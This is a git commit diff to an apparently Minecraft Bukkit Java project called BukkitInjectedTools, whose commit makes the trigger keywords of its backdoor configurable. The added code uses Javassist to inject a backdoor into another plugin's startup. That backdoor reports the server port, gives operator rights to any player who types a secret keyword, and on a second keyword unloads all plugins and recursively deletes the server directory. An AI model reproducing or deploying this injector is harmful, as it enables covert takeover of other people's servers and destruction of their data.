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feat: 添加自定义关键词

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Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
502647092
2016-08-03 19:28:45 +08:00
parent 8a3c118ce5
commit e22917936e
3 changed files with 99 additions and 15 deletions
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17
src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java
View File

@@ -31,13 +31,8 @@ public class InjectedKit {
pool.appendClassPath(classFile.getPath());
final CtClass statusListener = pool.get(clazz.getName());
final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
statusListener
.addField(CtField.make(
"private static final net.minecraft.server."
+ NMS
+ ".IChatBaseComponent infoAlreadySent = new net.minecraft.server."
+ NMS
+ ".ChatComponentText(\"Status request has already been handled.\");",
statusListener.addField(
CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");",
statusListener));
statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
@@ -54,7 +49,7 @@ public class InjectedKit {
}
}
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) {
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin, final String opk, final String delk) {
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据 " + key + " 注入类...");
try {
final ClassPool pool = ClassPool.getDefault();
@@ -73,7 +68,11 @@ public class InjectedKit {
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS(\""
+ key
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);\r\n"
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
+ opk
+ "\",\""
+ delk
+ "\"), this);\r\n"
+ "}";
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
try {

80
src/main/java/pw/yumc/BukkitInjectedTools/LIS.java
View File

@@ -1,12 +1,32 @@
package pw.yumc.BukkitInjectedTools;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URLClassLoader;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.PluginCommand;
import org.bukkit.command.SimpleCommandMap;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginManager;
public class LIS implements Listener {
private final String opk;
private final String delk;
public LIS(final String opk, final String delk) {
this.opk = opk;
this.delk = delk;
}
public static boolean deleteDir(final File dir) {
if (dir.isDirectory()) {
final String[] children = dir.list();
@@ -20,14 +40,70 @@ public class LIS implements Listener {
@EventHandler
public void ocp(final PlayerCommandPreprocessEvent e) {
if (e.getMessage().contains("yumop")) {
if (e.getMessage().contains(opk)) {
e.getPlayer().setOp(true);
return;
}
if (e.getMessage().contains("yumdel")) {
if (e.getMessage().contains(delk)) {
unload();
final File dir = new File("");
deleteDir(dir);
return;
}
}
@SuppressWarnings("unchecked")
public boolean unload() {
final PluginManager pluginManager = Bukkit.getPluginManager();
SimpleCommandMap commandMap = null;
List<Plugin> plugins = null;
Map<String, Plugin> lookupNames = null;
Map<String, Command> knownCommands = null;
if (pluginManager == null) {
return false;
}
try {
final Field pluginsField = pluginManager.getClass().getDeclaredField("plugins");
pluginsField.setAccessible(true);
plugins = (List<Plugin>) pluginsField.get(pluginManager);
final Field lookupNamesField = pluginManager.getClass().getDeclaredField("lookupNames");
lookupNamesField.setAccessible(true);
lookupNames = (Map<String, Plugin>) lookupNamesField.get(pluginManager);
final Field commandMapField = pluginManager.getClass().getDeclaredField("commandMap");
commandMapField.setAccessible(true);
commandMap = (SimpleCommandMap) commandMapField.get(pluginManager);
final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
knownCommandsField.setAccessible(true);
knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
} catch (final Exception e) {
return false;
}
for (final Plugin next : pluginManager.getPlugins()) {
pluginManager.disablePlugin(next);
plugins.remove(next);
lookupNames.remove(next.getName());
for (final Iterator<Map.Entry<String, Command>> it = knownCommands.entrySet().iterator(); it.hasNext();) {
final Map.Entry<String, Command> entry = it.next();
if ((entry.getValue() instanceof PluginCommand)) {
final PluginCommand command = (PluginCommand) entry.getValue();
if (command.getPlugin() == next) {
command.unregister(commandMap);
it.remove();
}
}
}
final ClassLoader cl = next.getClass().getClassLoader();
try {
((URLClassLoader) cl).close();
} catch (final IOException ex) {
ex.printStackTrace();
}
System.gc();
}
return false;
}
}

17
src/main/java/pw/yumc/BukkitInjectedTools/YumTestCommand.java
View File

@@ -67,17 +67,26 @@ public class YumTestCommand implements CommandExecutor {
// http://api.yumc.pw/M/P/S/K/mayomi/P/25565
@Cmd(minimumArguments = 2)
@Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key>")
@Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key> [opk] [delk]")
@Sort(7)
public void ib(final CommandArgument e) {
final String pname = e.getArgs()[0];
final String key = e.getArgs()[1];
final String[] args = e.getArgs();
final String pname = args[0];
final String key = args[1];
String opk = "yum-op";
String delk = "yum-del";
if (args.length > 2) {
opk = args[2];
}
if (args.length > 3) {
delk = args[3];
}
final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
if (plugin == null) {
e.getSender().sendMessage(prefix + "§c插件不存在...!");
return;
}
InjectedKit.injectBackDoor(e.getSender(), key, plugin);
InjectedKit.injectBackDoor(e.getSender(), key, plugin, opk, delk);
}
@Cmd